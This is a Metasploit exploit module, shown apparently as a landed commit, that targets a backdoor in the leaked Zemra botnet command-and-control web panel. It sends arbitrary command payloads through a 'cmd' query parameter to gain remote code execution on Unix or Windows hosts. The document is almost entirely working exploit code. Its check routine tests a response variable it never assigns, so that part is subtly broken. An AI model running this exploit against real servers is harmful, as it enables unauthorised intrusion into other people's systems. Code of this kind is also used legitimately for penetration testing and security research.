Land #6022, zemra_panel_rce module
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Zemra Botnet CnC Web Panel Remote Code Execution',
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'Description' => %q{
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This module exploits the CnC web panel of Zemra Botnet which contains a backdoor
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inside its leaked source code. Zemra is a crimeware bot that can be used to
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conduct DDoS attacks and is detected by Symantec as Backdoor.Zemra.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Jay Turla <@shipcod3>', #Metasploit Module
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'Angel Injection', #Initial Discovery (PoC from Inj3ct0r Team)
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'Darren Martyn <@info_dox>' #Initial Discovery
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],
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'References' =>
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[
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['URL', 'http://0day.today/exploit/19259'],
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['URL', 'http://insecurety.net/?p=144'], #leaked source code and backdoor intro
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['URL', 'http://www.symantec.com/connect/blogs/ddos-attacks-zemra-bot']
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 10000,
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd'
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}
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},
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'Platform' => %w{ unix win },
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'Arch' => ARCH_CMD,
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'Targets' =>
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[
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['zemra panel / Unix', { 'Platform' => 'unix' } ],
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['zemra panel / Windows', { 'Platform' => 'win' } ]
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],
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'DisclosureDate' => 'Jun 28 2012',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI',[true, "The path of the backdoor inside Zemra Botnet CnC Web Panel", "/Zemra/Panel/Zemra/system/command.php"]),
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],self.class)
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end
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def check
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txt = Rex::Text.rand_text_alpha(8)
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http_send_command(txt)
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if res && res.body =~ /cmd/
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def http_send_command(cmd)
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uri = normalize_uri(target_uri.path.to_s)
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => uri,
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'vars_get' =>
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{
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'cmd' => cmd
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}
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})
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unless res && res.code == 200
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fail_with(Failure::Unknown, 'Failed to execute the command.')
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end
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res
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end
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def exploit
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http_send_command(payload.encoded)
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end
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end
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